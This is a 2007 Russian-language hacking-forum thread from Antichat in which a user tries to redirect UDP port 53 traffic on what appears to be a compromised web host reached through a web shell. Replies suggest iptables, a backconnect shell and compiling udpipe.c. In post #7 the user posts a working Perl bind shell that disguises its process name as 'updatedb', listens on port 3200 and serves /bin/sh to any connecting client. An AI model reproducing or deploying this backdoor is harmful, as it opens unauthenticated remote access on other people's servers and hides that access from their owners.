ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > *nix
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

UDP forward(redirect) на UNIX-шелле
  #1  
Старый 09.09.2007, 07:28
Аватар для google1917
google1917
Новичок
Регистрация: 21.07.2007
Сообщений: 14
Провел на форуме:
32338

Репутация: 0
По умолчанию UDP forward(redirect) на UNIX-шелле

есть цель - форвардить(редиректить) UDP запросы с 53ого порта на айпишнике шелла на мной выбранный порт на другой айпишник.

операционка шелла ЮНИКС(с Виндоус уже разобрался - для моей задачи есть програмули fpipe и udppm)

подскажите, пожалуйста, кто в курсе как и какой командой это можно сделать.

пробовал юзать datapipe.pl но он походу редиректит только TCP
пробовал udpipe.c но не получается его запустить.

всем кто сможет помочь - заранее большое спасибо !
 
Ответить с цитированием

  #2  
Старый 11.09.2007, 15:45
Аватар для ShadOS
ShadOS
ы
Регистрация: 11.02.2007
Сообщений: 750
Провел на форуме:
1347723

Репутация: 1477


Отправить сообщение для ShadOS с помощью ICQ
По умолчанию

В чём проблема с запуском udpipe.c? Что пишет?
Можно также попробовать воспользоваться iptables.
__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....
 
Ответить с цитированием

  #3  
Старый 12.09.2007, 13:07
Аватар для google1917
google1917
Новичок
Регистрация: 21.07.2007
Сообщений: 14
Провел на форуме:
32338

Репутация: 0
По умолчанию

ShadOS спешит мне на помощь. это радует.

ошибки писало при компиляции. либо вообще просто пустота после запуска команды gcc (использую madshell.php)
думаю, либо прав не хватает, либо какие-то ограничения на хосте - все-таки шелл есть шелл.

пришел к выводу что все-таки надо юзать Перл. слегка модифицировал datapipe.pl
на одном хосте заработало. но потом почему-то хостинг ушел в даун на 6 часов. после этого уже не работает. я открывал 53порт на UDP - это ДНС сервер. наверное что-то накосячило либо не так модифицировал Datapipe.pl...

буду дальше химичить..

да.. iptables - не запускается - пустота в ответ на команду.
 
Ответить с цитированием

  #4  
Старый 12.09.2007, 19:31
Аватар для ShadOS
ShadOS
ы
Регистрация: 11.02.2007
Сообщений: 750
Провел на форуме:
1347723

Репутация: 1477


Отправить сообщение для ShadOS с помощью ICQ
По умолчанию

Давай начнём с того, что тебе необходимо завести нормальный backconnect-шелл. Вот увидишь половину проблем (если не все) сразу решатся. Всё дело в отсутствии нормального интерпретатора командной оболочки (возможно).
__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....
 
Ответить с цитированием

  #5  
Старый 12.09.2007, 21:42
Аватар для fucker"ok
fucker"ok
Познавший АНТИЧАТ
Регистрация: 21.11.2004
Сообщений: 1,137
Провел на форуме:
2487541

Репутация: 761


По умолчанию

Вообще-то, если у тебя нет прав root, то никак ты с 53-его порта не сможешь сделать редирект.
А так в зависимости от ОС iptables/ipfw.
 
Ответить с цитированием

  #6  
Старый 13.09.2007, 04:02
Аватар для google1917
google1917
Новичок
Регистрация: 21.07.2007
Сообщений: 14
Провел на форуме:
32338

Репутация: 0
По умолчанию

ShadOS, глянь плиз
http://forum.antichat.ru/thread17581-gcc.html
попробую в соответствии с этой статьей запустить коннект-бак шелл. хотя чтото мне подсказывает что не получится раз уж udpipe.c не запускался...

fuckerok, через .pl запускаются и TCP порт редиректы и даже сокс на шеллах, при чем права простого юзера. а вот с UDP проблемы...

а для .с видимо да... нужны права рута.. потому и не получается у меня нормально запустить..
 
Ответить с цитированием

  #7  
Старый 13.09.2007, 04:38
Аватар для google1917
google1917
Новичок
Регистрация: 21.07.2007
Сообщений: 14
Провел на форуме:
32338

Репутация: 0
По умолчанию

такс, я немножко продвигаюсь.
дело в том что все что я писал ранее я делал через madshell.php = веб-шелл.
теперь залил bind.pl
даже не надо конект-бака - открыло порт без проблем
буду пробовать дальше.


*****************
#!/usr/bin/perl

$port = 3200;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
accept(X, S);
unless(fork)
{
open STDIN, "<&X";
open STDOUT, ">&X";
open STDERR, ">&X";
close X;
exec("/bin/sh");
}
close X;
}

******************
 
Ответить с цитированием

  #8  
Старый 14.09.2007, 18:58
Аватар для sunb0rn
sunb0rn
Новичок
Регистрация: 05.09.2006
Сообщений: 18
Провел на форуме:
706223

Репутация: 42
Отправить сообщение для sunb0rn с помощью ICQ
По умолчанию

По первому посту выглядит, что тебе udpipe.c надо скомпилировать сперва, например:
make udpipe
в той же папке,где наxодится udpipe.c, или лучше:
gcc udpipe.c -o udpipe
и запустить
./udpipe <желаемый порт>

Последний раз редактировалось sunb0rn; 14.09.2007 в 19:11..
 
Ответить с цитированием

  #9  
Старый 15.09.2007, 00:15
Аватар для google1917
google1917
Новичок
Регистрация: 21.07.2007
Сообщений: 14
Провел на форуме:
32338

Репутация: 0
По умолчанию

sunb0rn, спасиб, но не получалось ни через Gcc ни через make
видимо прав не хватает...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Linux books nerezus *nix 68 23.01.2010 00:31
История ОС Bsd zl0ba *nix 3 17.12.2006 13:45
Порты троянов bxN5 Защита ОС: вирусы, антивирусы, файрволы. 4 06.05.2006 22:03
Краткая история хакерства foreva Чужие Статьи 3 06.02.2005 19:29



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ